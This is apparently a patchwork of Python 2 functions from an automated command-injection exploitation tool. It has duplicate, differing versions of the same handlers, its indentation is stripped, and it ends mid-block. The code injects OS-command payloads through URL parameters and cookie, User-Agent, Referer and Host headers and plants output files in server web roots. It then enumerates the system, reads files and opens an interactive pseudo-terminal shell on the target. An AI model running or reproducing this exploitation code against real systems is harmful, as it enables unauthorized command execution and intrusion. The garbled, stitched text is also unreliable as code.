def cookie_injection(url, http_request_method, filename, timesec):
settings.COOKIE_INJECTION = True
# Cookie Injection
if settings.COOKIE_INJECTION == True:
cookie_value = menu.options.cookie
header_name = " cookie"
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]
check_parameters = []
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_parameters.append(check_parameter)
checks.print_non_listed_params(check_parameters, http_request_method, header_name)
for i in range(0, len(cookie_parameters)):
parameter = menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(parameter)
if check_parameter != parameter:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if menu.options.test_parameter != None:
param_counter = 0
for check_parameter in check_parameters:
if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
menu.options.cookie = cookie_parameters[param_counter]
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
param_counter += 1
break
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
if settings.COOKIE_INJECTION == True:
# Restore cookie value
menu.options.cookie = cookie_value
# Disable cookie injection
settings.COOKIE_INJECTION = False
def cookie_injection(url, http_request_method, filename, delay):
settings.COOKIE_INJECTION = True
# Cookie Injection
if settings.COOKIE_INJECTION == True:
cookie_value = menu.options.cookie
header_name = " cookie"
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]
check_parameters = []
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
check_parameters.append(check_parameter)
checks.print_non_listed_params(check_parameters, http_request_method, header_name)
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
# Check for session file
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, delay)
if settings.COOKIE_INJECTION == True:
# Restore cookie value
menu.options.cookie = cookie_value
# Disable cookie injection
settings.COOKIE_INJECTION = False
def eb_injection_handler(url, delay, filename, http_request_method):
counter = 1
vp_flag = True
no_result = True
export_injection_info = False
injection_type = "Results-based Command Injection"
technique = "eval-based injection technique"
sys.stdout.write("(*) Testing the "+ technique + "... ")
sys.stdout.flush()
i = 0
# Calculate all possible combinations
total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
try:
# Eval-based decision payload (check if host is vulnerable).
payload = eb_payloads.decision(separator, TAG, randv1, randv2)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, urllib.quote(suffix))
payload = payload + "" + TAG + ""
payload = re.sub(" ", "%20", payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = eb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate test results.
shell = eb_injector.injection_test_results(response, TAG, randvcalc)
if not menu.options.verbose:
percent = ((i*100)/total)
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(percent)+"%"
sys.stdout.write("\r(*) Testing the "+ technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.upload_payload(filename, counter, payload)
counter = counter + 1
# Print the findings to terminal.
print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
print " (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
# Check for any enumeration options.
eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)
# Check for any system file access options.
eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)
# Check if defined single cmd.
if menu.options.os_cmd:
eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
logs.logs_notification(filename)
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
break
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Command execution results.
shell = eb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
sys.stdout.flush()
break
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded= False
stop_injection = False
call_tmp_based = False
export_injection_info = False
injection_type = "Semiblind Command Injection"
technique = "file-based injection technique"
# Set temp path
if settings.TARGET_OS == "win":
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = "C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
else:
if menu.options.srv_root_dir:
settings.SRV_ROOT_DIR = menu.options.srv_root_dir
else:
# Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
if "apache" in settings.SERVER_BANNER.lower():
if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR
except IndexError:
pass
# Add "/html" to servers root directory
elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
pass
# On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
elif "nginx" in settings.SERVER_BANNER.lower():
try:
check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
if check_version[0] >= "1.2.4":
# Add "/html" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
else:
# Add "/www" to servers root directory
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
except IndexError:
pass
elif "microsoft-iis" in settings.SERVER_BANNER.lower():
pass
else:
# Provide custom server's root directory.
custom_srv_root_dir()
path = urlparse.urlparse(url).path
path_parts = path.split('/')
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
EXTRA_DIR = path.replace(last_param, "")
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
if settings.TARGET_OS == "win":
settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")
if not menu.options.verbose:
print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
else:
print "(*) Testing the " + technique + "... "
i = 0
# Calculate all possible combinations
total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
i = i + 1
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
time.sleep(delay)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell == TAG and not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")
sys.stdout.flush()
if len(shell) == 0 :
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#if menu.options.verbose:
#print ""
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if e.getcode() == 404:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == settings.FAILED_TRIES and no_result == True :
if not menu.options.verbose:
print ""
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
while True:
tmp_upload = raw_input("(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > ").lower()
if tmp_upload in settings.CHOISE_YES:
exit_loops = True
call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOISE_NO:
break
elif tmp_upload in settings.CHOISE_QUIT:
print ""
raise
else:
if tmp_upload == "":
tmp_upload = "enter"
print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
pass
continue
else:
if exit_loops == False:
if not menu.options.verbose:
if percent == 100:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")
sys.stdout.flush()
continue
else:
continue
else:
raise
elif e.getcode() == 401:
print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
sys.exit(0)
elif e.getcode() == 403:
print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
sys.exit(0)
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
else:
pass
#delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
# print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results... "
print settings.print_info_msg(info_msg)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = fb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries) and no_result == True :
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
raise SystemExit()
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": "," (") + ")."
if menu.options.verbose > 1:
print ""
print settings.print_critical_msg(err_msg)
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again= "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
